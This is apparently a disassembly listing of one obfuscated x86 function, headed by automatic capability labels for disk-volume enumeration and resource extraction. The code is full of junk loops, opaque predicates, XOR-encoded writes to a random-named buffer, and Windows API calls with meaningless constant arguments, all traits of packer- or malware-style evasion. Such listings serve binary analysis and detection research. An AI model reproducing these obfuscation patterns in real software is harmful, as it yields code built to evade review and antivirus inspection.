Function at 0x557be0
Capabilities:
Enumerate disk volumes
Extract resource via kernel32 functions
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov dword [ebp - 0x54], 0x153bb
mov dword [ebp - 0x28], 0x2809
mov dword [ebp - 0x14], 0x168df
mov dword [ebp - 0x4c], 0xf125
mov dword [ebp - 0x2c], 0xd45e
mov dword [ebp - 0x10], 0x1417d
mov dword [ebp - 0x40], 0x10441
mov dword [ebp - 0x34], 0x8ed2
mov dword [ebp - 0xc], 0x10a51
mov dword [ebp - 0x38], 0x1140c
mov dword [ebp - 0x8c], 0x117f3
mov dword [ebp - 0x30], 0x7bfa
mov dword [ebp - 0x1c], 0x14c8b
mov dword [ebp - 0x5c], 0x18684
mov dword [ebp - 4], 0x15f3
mov dword [ebp - 0x3c], 0xd3b8
mov dword [ebp - 0x60], 0x1180e
mov dword [ebp - 0x48], 0xe0e6
mov dword [ebp - 0x50], 0xe2b9
mov dword [ebp - 0x24], 0x4c5e
mov dword [ebp - 8], 0x9511
mov dword [ebp - 0x58], 0x8428
mov dword [ebp - 0x20], 0x5968
mov dword [ebp - 0x18], 0xc20a
mov dword [ebp - 0x44], 0x123a4
mov dword [ebp - 0x64], 0
jmp 0x557cad
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x10a50
cmp dword [ebp - 0x64], ecx
jge 0x557cce
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x1c]
jge 0x557ccc
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
jmp 0x557ca4
mov ecx, dword [0xab15c4]
sub ecx, 1
mov dword [0xab15c4], ecx
mov edx, dword [ebp - 0x60]
sub edx, 0x66ea
push edx
mov eax, dword [0xab14bc]
add eax, 0x184b
push eax
call fcn.0041d050
add esp, 8
mov dword [ebp - 0x68], 0
jmp 0x557d0c
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x20]
sub edx, 0x5967
cmp dword [ebp - 0x68], edx
jge 0x557d25
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
jmp 0x557d03
mov ecx, dword [ebp - 0x38]
sub ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp + 0x14]
and edx, 0x48
xor edx, 0x6867662c
mov eax, dword [ebp + 0x28]
or eax, 0x11798
xor eax, 0x19790
mov dword [eax + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], edx
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp + 0x20]
xor edx, 0xfabb
or edx, 0xeffa
xor edx, 0x5954bdbf
mov eax, 0x1c8b
sub eax, dword [ebp + 0x18]
add eax, 0x83aa
xor eax, 0xd38
xor eax, 0x5486
mov dword [eax + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], edx
mov ecx, dword [ebp - 0x4c]
or ecx, dword [0xab128c]
cmp ecx, dword [ebp - 0x28]
jge 0x557d9f
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp + 0x24]
xor eax, 0xffff3814
xor eax, 0xa8ae7007
mov ecx, dword [ebp + 8]
xor ecx, 0xffbc
xor ecx, 0xb4d6
mov dword [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], eax
mov edx, dword [0xab14bc]
sub edx, 0xebc6
push edx
mov eax, dword [ebp - 0x18]
add eax, 0x63d2
push eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x26e1
push ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x7033
push edx
mov eax, dword [ebp - 0x4c]
add eax, 0x5d34
push eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x11c5e
push ecx
mov edx, dword [ebp - 0x40]
sub edx, 0x2b79
push edx
mov eax, dword [ebp - 0x3c]
add eax, 0x3a3d
push eax
mov ecx, dword [0xab14bc]
sub ecx, 0xce8c
push ecx
mov edx, dword [ebp - 0x10]
sub edx, 0xf702
push edx
call fcn.0041e950
add esp, 0x28
mov eax, dword [0xab1290]
sub eax, 1
mov dword [0xab1290], eax
mov ecx, dword [ebp + 0x20]
add ecx, 0x14eb8
xor ecx, 0x6277c42b
mov edx, 0xfe73
sub edx, dword [ebp + 8]
and edx, 0xc5da
xor edx, 0x8114
mov dword [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], ecx
mov dword [ebp - 0x6c], 0
jmp 0x557e78
mov eax, dword [ebp - 0x6c]
add eax, 1
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 0x4c5c
cmp dword [ebp - 0x6c], ecx
jge 0x557f92
mov edx, dword [0xab128c]
sub edx, 1
mov dword [0xab128c], edx
mov eax, dword [ebp - 0x28]
cmp eax, dword [0xab128c]
jge 0x557f8d
mov ecx, dword [0xab1290]
xor ecx, dword [ebp - 0x44]
mov dword [ebp - 0x10c], ecx
mov edx, dword [0xab1280]
mov dword [ebp - 0x110], edx
mov eax, dword [0xab1290]
add eax, 1
mov dword [0xab1290], eax
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [ebp - 0x110]
jge 0x557eea
mov dword [ebp - 0x98], 1
jmp 0x557ef4
mov dword [ebp - 0x98], 0
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x3c]
jge 0x557f0c
mov dword [ebp - 0x9c], 1
jmp 0x557f16
mov dword [ebp - 0x9c], 0
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x98]
and ecx, dword [ebp - 0x9c]
and ecx, dword [ebp - 0x58]
or ecx, dword [ebp - 0x20]
je 0x557f8d
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x34]
jne 0x557f8d
mov eax, dword [0xab1298]
cmp eax, dword [ebp - 0x30]
jne 0x557f8d
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0xc]
jne 0x557f8d
mov edx, dword [0xab1288]
add edx, 1
mov dword [0xab1288], edx
push 0x1833d
push 0x13ced
push 0x813a
push 0x72e6
push 0x6967
push 0x5f37
push 0x17832
push 0x165d0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
add esp, 0x20
jmp 0x557e6f
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0x28]
xor ecx, 0xd32f
xor ecx, 0x69752947
mov edx, dword [ebp + 0x24]
and edx, 0x254b
xor edx, 0x254d
mov dword [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], ecx
mov dword [ebp - 0x70], 0
jmp 0x557fd1
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x40]
sub ecx, 0x10440
cmp dword [ebp - 0x70], ecx
jge 0x557fea
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x557fc8
mov eax, dword [0xab15c4]
sub eax, 0x8f58
push eax
mov ecx, dword [0xab1288]
add ecx, 0xd410
push ecx
mov edx, dword [0xab1288]
add edx, 0xf7db
push edx
mov eax, dword [ebp - 4]
add eax, 0x13eb6
push eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x78d7
push ecx
mov edx, dword [ebp - 0x58]
sub edx, 0x8a7
push edx
mov eax, dword [ebp - 0xc]
add eax, 0x2621
push eax
mov ecx, dword [ebp - 0x38]
add ecx, 0x14bb
push ecx
call fcn.0041d850
add esp, 0x20
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x74], 0
jmp 0x558062
mov eax, dword [ebp - 0x74]
add eax, 1
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x3c]
sub ecx, 0xd3b7
cmp dword [ebp - 0x74], ecx
jge 0x55807b
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
jmp 0x558059
mov eax, dword [0xab1638]
sub eax, 1
mov dword [0xab1638], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [0xab1638]
jge 0x55809f
mov dword [ebp - 0xa0], 1
jmp 0x5580a9
mov dword [ebp - 0xa0], 0
mov edx, dword [0xab15c8]
and edx, dword [0xab1298]
mov eax, dword [0xab1284]
sub eax, dword [0xab1634]
or edx, eax
or edx, dword [ebp - 0xa0]
je 0x5580d3
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [0xab14bc]
sub edx, 1
mov dword [0xab14bc], edx
mov eax, dword [ebp + 0x14]
and eax, 0xf9ba
or eax, 0x6f30
xor eax, 0xeff6
mov ecx, 0xfc40
sub ecx, dword [ebp + 0x10]
xor ecx, 0x179a
mov byte [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], al
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0xc]
jge 0x55811c
mov dword [ebp - 0xa4], 1
jmp 0x558126
mov dword [ebp - 0xa4], 0
mov eax, dword [0xab1288]
sub eax, dword [0xab128c]
cmp eax, dword [ebp - 0x1c]
jge 0x558142
mov dword [ebp - 0xa8], 1
jmp 0x55814c
mov dword [ebp - 0xa8], 0
mov ecx, dword [ebp - 0xa4]
or ecx, dword [ebp - 0xa8]
je 0x558326
mov edx, dword [ebp - 0x1c]
cmp edx, dword [0xab15c4]
jne 0x558326
mov eax, dword [ebp - 0x28]
cmp eax, dword [0xab1290]
jne 0x558326
mov ecx, dword [0xab1638]
cmp ecx, dword [0xab1294]
jne 0x558326
mov edx, dword [ebp - 8]
and edx, dword [0xab1290]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x118], eax
mov ecx, dword [0xab1290]
sub ecx, 1
mov dword [0xab1290], ecx
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x118]
jge 0x5582f0
mov eax, dword [ebp - 0x24]
cmp eax, dword [0xab1298]
jne 0x5582f0
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x50]
jne 0x5582f0
push 0x8cd1
push 0x17622
push 0xd82c
push 0xaead
push 0x10bcf
push 0x11e2f
push 0x4ee7
push 0xf887
push 0x11db2
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
add esp, 0x24
mov edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x34]
jge 0x55822f
mov dword [ebp - 0xac], 1
jmp 0x558239
mov dword [ebp - 0xac], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [0xab15c4]
jge 0x558250
mov dword [ebp - 0xb0], 1
jmp 0x55825a
mov dword [ebp - 0xb0], 0
mov ecx, dword [ebp - 0xac]
or ecx, dword [ebp - 0xb0]
je 0x5582f0
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x24]
jge 0x558280
mov dword [ebp - 0xb4], 1
jmp 0x55828a
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x40]
sub eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x11c]
cmp ecx, dword [ebp - 0x120]
jge 0x5582cb
mov dword [ebp - 0xb8], 1
jmp 0x5582d5
mov dword [ebp - 0xb8], 0
mov edx, dword [ebp - 0xb4]
or edx, dword [ebp - 0xb8]
je 0x5582f0
mov eax, dword [0xab15c4]
sub eax, 1
mov dword [0xab15c4], eax
push 0x110e5
push 0xb4ac
push 0x6c7e
push 0x14765
push 0x10b75
push 0x1259
push 0x1149b
push 0x15adc
push 0x2966
call dword [sym.imp.KERNEL32.dll_LockResource]
add esp, 0x24
mov ecx, dword [ebp + 8]
and ecx, 0x1e56
xor ecx, 0x34333863
mov edx, dword [ebp + 0x20]
and edx, 0xd0e8
xor edx, 0x50bc
mov dword [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], ecx
mov dword [ebp - 0x78], 0
jmp 0x55835c
mov eax, dword [ebp - 0x78]
add eax, 1
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 0xf124
cmp dword [ebp - 0x78], ecx
jge 0x558375
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
jmp 0x558353
mov eax, dword [ebp + 0x28]
or eax, 0x2d50
and eax, 0x3c77
add eax, 0x3aba
xor eax, 0x43583d42
mov ecx, 0x967b
sub ecx, dword [ebp + 0x24]
xor ecx, 0x70d2
mov dword [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], eax
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x38]
jge 0x5583b4
mov dword [ebp - 0xbc], 1
jmp 0x5583be
mov dword [ebp - 0xbc], 0
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x24]
jge 0x5583d2
mov dword [ebp - 0xc0], 1
jmp 0x5583dc
mov dword [ebp - 0xc0], 0
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [0xab1298]
add edx, 1
mov dword [0xab1298], edx
mov eax, dword [ebp - 4]
cmp eax, dword [0xab1298]
jge 0x55840b
mov dword [ebp - 0xc4], 1
jmp 0x558415
mov dword [ebp - 0xc4], 0
mov ecx, dword [ebp - 0xbc]
and ecx, dword [ebp - 0xc0]
or ecx, dword [ebp - 0xc4]
je 0x558438
mov edx, dword [0xab1298]
sub edx, 1
mov dword [0xab1298], edx
mov eax, dword [0xab1290]
sub eax, 0x3618
push eax
mov ecx, dword [0xab15c8]
add ecx, 0x16759
push ecx
mov edx, dword [ebp - 0x5c]
sub edx, 0xfb2a
push edx
mov eax, dword [ebp - 0x28]
add eax, 0xd86f
push eax
mov ecx, dword [0xab1290]
sub ecx, 0x8e52
push ecx
mov edx, dword [ebp - 0x34]
sub edx, 0x27b2
push edx
mov eax, dword [ebp - 0x24]
sub eax, 0x1def
push eax
call fcn.00409240
add esp, 0x1c
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x2c]
jge 0x5584a8
mov dword [ebp - 0xc8], 1
jmp 0x5584b2
mov dword [ebp - 0xc8], 0
mov eax, dword [0xab1288]
sub eax, 1
mov dword [0xab1288], eax
mov ecx, dword [0xab1638]
add ecx, 1
mov dword [0xab1638], ecx
mov edx, dword [ebp - 0xc8]
and edx, dword [0xab1288]
or edx, dword [0xab1638]
je 0x5584eb
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0x10]
xor edx, 0x2c91
xor edx, 0x4d4e8aa1
mov eax, dword [ebp + 0x14]
xor eax, 0x875f
xor eax, 0x2214
mov dword [eax + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], edx
mov ecx, dword [ebp - 0x40]
sub ecx, 0xac11
push ecx
mov edx, dword [ebp - 0x8c]
add edx, 0x3ae9
push edx
mov eax, dword [ebp - 0x8c]
add eax, 0x2466
push eax
mov ecx, dword [0xab1298]
add ecx, 0x5b5
push ecx
mov edx, dword [0xab15c8]
add edx, 0x15017
push edx
mov eax, dword [ebp - 0x28]
add eax, 0x6453
push eax
mov ecx, dword [0xab15c8]
add ecx, 0xc5d3
push ecx
mov edx, dword [0xab15c4]
add edx, 0x3d33
push edx
call fcn.00411480
add esp, 0x20
mov dword [ebp - 0x7c], 0
jmp 0x558590
mov eax, dword [ebp - 0x7c]
add eax, 1
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x9510
cmp dword [ebp - 0x7c], ecx
jge 0x5585af
mov edx, dword [0xab1288]
add edx, 1
mov dword [0xab1288], edx
jmp 0x558587
mov eax, dword [ebp + 0x14]
or eax, 0x5eea
xor eax, 0x4644acba
mov ecx, dword [ebp + 0x20]
add ecx, 0x3eda
or ecx, 0x83f8
xor ecx, 0x97d9
mov dword [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], eax
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 4]
jge 0x5585eb
mov dword [ebp - 0xcc], 1
jmp 0x5585f5
mov dword [ebp - 0xcc], 0
mov eax, dword [0xab1280]
sub eax, dword [ebp - 0x38]
and eax, dword [ebp - 0xcc]
je 0x55860e
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [0xab1634]
sub edx, 0x98ee
push edx
mov eax, dword [ebp - 0x18]
sub eax, 0xa60
push eax
mov ecx, dword [ebp - 0x5c]
sub ecx, 0x734e
push ecx
call fcn.004136b0
add esp, 0xc
mov edx, dword [ebp - 0x54]
sub edx, 0x5fde
push edx
mov eax, dword [0xab1288]
sub eax, 0x7176
push eax
mov ecx, dword [0xab1298]
sub ecx, 0x259
push ecx
call fcn.00403510
add esp, 0xc
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x24]
and eax, 0xffffc722
xor eax, 0x51e
mov ecx, dword [ebp + 0x28]
xor ecx, 0x8196
sub ecx, 0x1b6c
xor ecx, 0xffffe720
mov byte [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], al
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp + 0x28]
and eax, 0x343f
and eax, 0x7f3c
xor eax, 0x7265776d
mov ecx, dword [ebp + 0x20]
and ecx, 0xb867
or ecx, 0x7039
xor ecx, 0x783b
mov dword [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], eax
call fcn.00403b80
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 4]
jge 0x5586ec
mov dword [ebp - 0xd0], 1
jmp 0x5586f6
mov dword [ebp - 0xd0], 0
mov ecx, dword [0xab1634]
cmp ecx, dword [ebp - 0x28]
jge 0x55870d
mov dword [ebp - 0xd4], 1
jmp 0x558717
mov dword [ebp - 0xd4], 0
mov edx, dword [ebp - 0xd0]
and edx, dword [ebp - 0x24]
or edx, dword [ebp - 0xd4]
je 0x5588c6
mov eax, dword [0xab1294]
cmp eax, dword [ebp - 8]
jne 0x5588c6
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x4c]
jne 0x5588c6
push 0x11cd3
push 0x16a90
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
add esp, 8
mov edx, dword [0xab1290]
imul edx, dword [ebp - 0x14]
mov dword [ebp - 0x124], edx
mov eax, dword [0xab1290]
add eax, 1
mov dword [0xab1290], eax
cmp dword [ebp - 0x124], 0
je 0x5588c6
mov ecx, dword [0xab1284]
cmp ecx, dword [ebp - 0x28]
jne 0x5588c6
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0xc]
jne 0x5588c6
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jne 0x5588c6
mov ecx, dword [0xab17f4]
cmp ecx, dword [0xab1280]
jne 0x5588c6
mov edx, dword [ebp - 0x3c]
cmp edx, dword [0xab1294]
jne 0x5588c6
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 4]
jge 0x5587df
mov dword [ebp - 0xd8], 1
jmp 0x5587e9
mov dword [ebp - 0xd8], 0
mov ecx, dword [0xab1634]
add ecx, dword [0xab128c]
and ecx, dword [ebp - 0xd8]
je 0x558895
mov edx, dword [ebp - 0x3c]
cmp edx, dword [0xab14bc]
jne 0x558895
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x60]
jne 0x558895
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x10]
jne 0x558895
mov edx, dword [0xab1294]
cmp edx, dword [ebp - 0x2c]
jne 0x558895
push 0x63d
push 0x18176
push 0x13605
push 0x37a1
push 0xc5eb
push 0x1108a
push 0x13b4d
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
add esp, 0x1c
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 8]
jge 0x558895
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x2c]
jne 0x558895
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x20]
jne 0x558895
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
push 0x84dd
push 0x1205e
push 0x179e2
push 0x33cd
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esp, 0x10
push 0xeb97
push 0x15fee
push 0x3b01
push 0xcd18
push 0x1124f
push 0xe828
push 0x3357
push 0xaa05
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
add esp, 0x20
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x57ba
push edx
mov eax, dword [ebp - 0x48]
add eax, 0xa051
push eax
call fcn.0041d050
add esp, 8
mov ecx, dword [ebp - 0x44]
xor ecx, dword [ebp - 4]
or ecx, dword [0xab15c8]
or ecx, dword [ebp - 0x10]
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x128], 0
je 0x558955
mov eax, dword [0xab15c4]
cmp eax, dword [ebp - 0x2c]
jne 0x558955
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 8]
jne 0x558955
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x40]
jne 0x558955
mov eax, dword [0xab1298]
sub eax, 1
mov dword [0xab1298], eax
push 0x6577
push 0xa572
push 0x11898
push 0xd44c
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
add esp, 0x10
mov ecx, dword [ebp + 0x18]
and ecx, 0x818
xor ecx, 0xe8
mov edx, 0xfc2c
sub edx, dword [ebp + 8]
xor edx, 0xb0fb
mov byte [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], cl
mov eax, dword [0xab1298]
add eax, 1
mov dword [0xab1298], eax
mov ecx, dword [0xab1298]
imul ecx, dword [ebp - 0x30]
cmp ecx, dword [0xab17f4]
jge 0x5589a3
mov dword [ebp - 0xdc], 1
jmp 0x5589ad
mov dword [ebp - 0xdc], 0
mov edx, dword [0xab1288]
cmp edx, dword [0xab1634]
jge 0x5589c7
mov dword [ebp - 0xe0], 1
jmp 0x5589d1
mov dword [ebp - 0xe0], 0
mov eax, dword [ebp - 0xdc]
and eax, dword [ebp - 0xe0]
je 0x558a4d
mov ecx, dword [0xab14bc]
cmp ecx, dword [0xab1294]
jne 0x558a4d
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x1c]
jne 0x558a4d
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x20]
jne 0x558a4d
mov ecx, dword [0xab1638]
cmp ecx, dword [ebp - 0x3c]
jne 0x558a4d
mov edx, dword [0xab17f4]
cmp edx, dword [ebp - 4]
jne 0x558a4d
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
push 0x4c33
push 0xf854
push 0xbfea
push 0x10892
push 0x144a3
push 0x3535
push 0xddb4
push 0x4144
call dword [sym.imp.KERNEL32.dll_CopyContext]
add esp, 0x20
mov ecx, dword [ebp + 0x20]
and ecx, 0x386f
xor ecx, 0x504f515e
mov edx, dword [ebp + 0x10]
add edx, 0xb380
xor edx, 0x197c6
mov dword [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], ecx
mov eax, dword [0xab1634]
sub eax, 1
mov dword [0xab1634], eax
mov ecx, dword [ebp + 8]
or ecx, 0x7918
add ecx, 0x2918
xor ecx, 0x7a6ccff8
mov edx, dword [ebp + 0x20]
add edx, 0x6e23
xor edx, 0xc6ae
mov dword [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], ecx
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, 0xae91
sub ecx, dword [ebp + 0x18]
xor ecx, 0x6778
mov edx, 0xfd50
sub edx, dword [ebp + 0x14]
xor edx, 0x5796
mov byte [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], cl
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x20]
jge 0x558aea
mov dword [ebp - 0xe4], 1
jmp 0x558af4
mov dword [ebp - 0xe4], 0
mov ecx, dword [ebp - 0x40]
and ecx, dword [0xab14bc]
cmp ecx, dword [0xab1290]
jge 0x558b11
mov dword [ebp - 0xe8], 1
jmp 0x558b1b
mov dword [ebp - 0xe8], 0
mov edx, dword [ebp - 0xe4]
and edx, dword [ebp - 0xe8]
je 0x558b32
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0xc]
or ecx, 0x9281
xor ecx, 0x9686
mov edx, 0xd688
sub edx, dword [ebp + 0xc]
or edx, 0xa9b7
sub edx, 0xff69
xor edx, 0xfffff014
mov byte [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], cl
mov dword [ebp - 0x80], 0
jmp 0x558b73
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x14c8b
cmp dword [ebp - 0x80], ecx
jge 0x558b8c
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
jmp 0x558b6a
mov eax, dword [ebp + 0x18]
xor eax, 0xf5b4
xor eax, 0x7361c348
mov ecx, dword [ebp + 0x28]
add ecx, 0xfa14
xor ecx, 0x17d38
mov dword [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], eax
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x14]
jge 0x558bc2
mov dword [ebp - 0xec], 1
jmp 0x558bcc
mov dword [ebp - 0xec], 0
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [0xab14bc]
cmp ecx, dword [ebp - 0x38]
jge 0x558bec
mov dword [ebp - 0xf0], 1
jmp 0x558bf6
mov dword [ebp - 0xf0], 0
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x12c]
cmp edx, dword [ebp - 0x130]
jge 0x558c2b
mov dword [ebp - 0xf4], 1
jmp 0x558c35
mov dword [ebp - 0xf4], 0
mov eax, dword [ebp - 0xec]
and eax, dword [ebp - 0xf0]
and eax, dword [ebp - 0xf4]
je 0x558ca7
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x1c]
jne 0x558ca7
mov edx, dword [0xab15c4]
cmp edx, dword [0xab15c8]
jne 0x558ca7
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x5c]
jne 0x558ca7
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [0xab1298]
jne 0x558ca7
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
push 0xb77a
push 0x21c7
push 0x1cdf
push 0x14421
push 0x9bc5
push 0x1165c
push 0x7aaa
call dword [sym.imp.KERNEL32.dll_LockResource]
add esp, 0x1c
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x84], 0
jmp 0x558ccb
mov ecx, dword [ebp - 0x84]
add ecx, 1
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x54]
sub edx, 0x153bb
cmp dword [ebp - 0x84], edx
jge 0x558ce7
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
jmp 0x558cbc
mov ecx, dword [ebp + 0x1c]
and ecx, 0x58ad
xor ecx, 0x4b4a0842
